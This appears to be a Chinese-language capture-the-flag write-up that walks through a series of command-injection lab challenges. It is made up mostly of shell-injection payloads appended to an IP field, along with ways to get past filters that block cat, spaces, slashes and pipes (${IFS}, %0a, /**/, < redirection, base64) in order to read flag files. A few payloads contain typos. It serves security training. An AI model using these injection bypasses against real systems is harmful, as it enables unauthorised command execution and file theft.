eval执行
?cmd=systemctl("ls");
?cmd=systemctl("ls /");
?cmd=systemctl("cat /flag_27523);
命令注入
输入ip试试发先可以执行
127.0.0.1
查看一下看看有社么
127.0.0.1 | ls
试着看看php文件
127.0.0.1 | cat 297581345892.php
貌似这个文件有东西
127.0.0.1 | cat index.php
应该是文件中包含特殊字符,使用管道运行base64加密内容
127.0.0.1 | cat *.php | base64
挨个解码一下结果第一个就是
过滤cat
试试127.0.0.1发现过滤了cat
ls发现flag.php
127.0.0.1 | ls
127.0.0.1 | ls
而cat被禁用了
- linux查看文本的命令
-
- cat 由第一行开始显示内容,并将所有内容输出
- tac 从最后一行倒序显示内容,并将所有内容输出
- more 根据窗口大小,一页一页的现实文件内容
- less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
- head 只显示头几行
- tail 只显示最后几行
- nl 类似于cat -n,显示时输出行号
- tailf 类似于tail -f
这里选择more试试
127.0.0.1 | more flag_1080915285305as97.php
】
猜测跟上一题一样
127.0.0.1 | more flag_1080915285305as97.php | be64
解码
过滤空格
输入127.0.0.1看看发现过滤空格
那我们将空格替换
这边我选择/**/替代
127.0.0.1/**/|/**/ ls
127.0.0.1/**/|/**/ cat/**/flag_62271467726390.php/**/|/**/base64
这边不成功我们换一个<
127.0.0.1|cat<flag_62271467726390.php|base64
解码
过滤目录分隔符
127.0.0.1 | ls
发现了flag.php因为过滤了/\不能使用ls/查看子目录使用cd
127.0.0.1;cd flag_is_here;ls
cat他
127.0.0.1;cd flag_is_here;cat flag_31823208020462.php|base64
解码
过滤运算符
看到过滤运算符我们这边用;代替|
127.0.0.1;ls
过滤了管道符|,不能再使用了
base64 falg.php".这个与127.0.0.1| cat falg.php | base64是等价的
127.0.0.1 ; base64 flag_15688173330737.php
解码
综合练习
发现过滤了一堆我们可以用的
空格可以用${IFS}
cat可以用more
flag可以用正则f***
查了一下,在linux下,命令分隔符除了;还有%0a
因为分割符为%0a所以要在url里输入,因为在框内会二次编码
?ip=127.0.0.1%0als
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_21697538524058.php
解码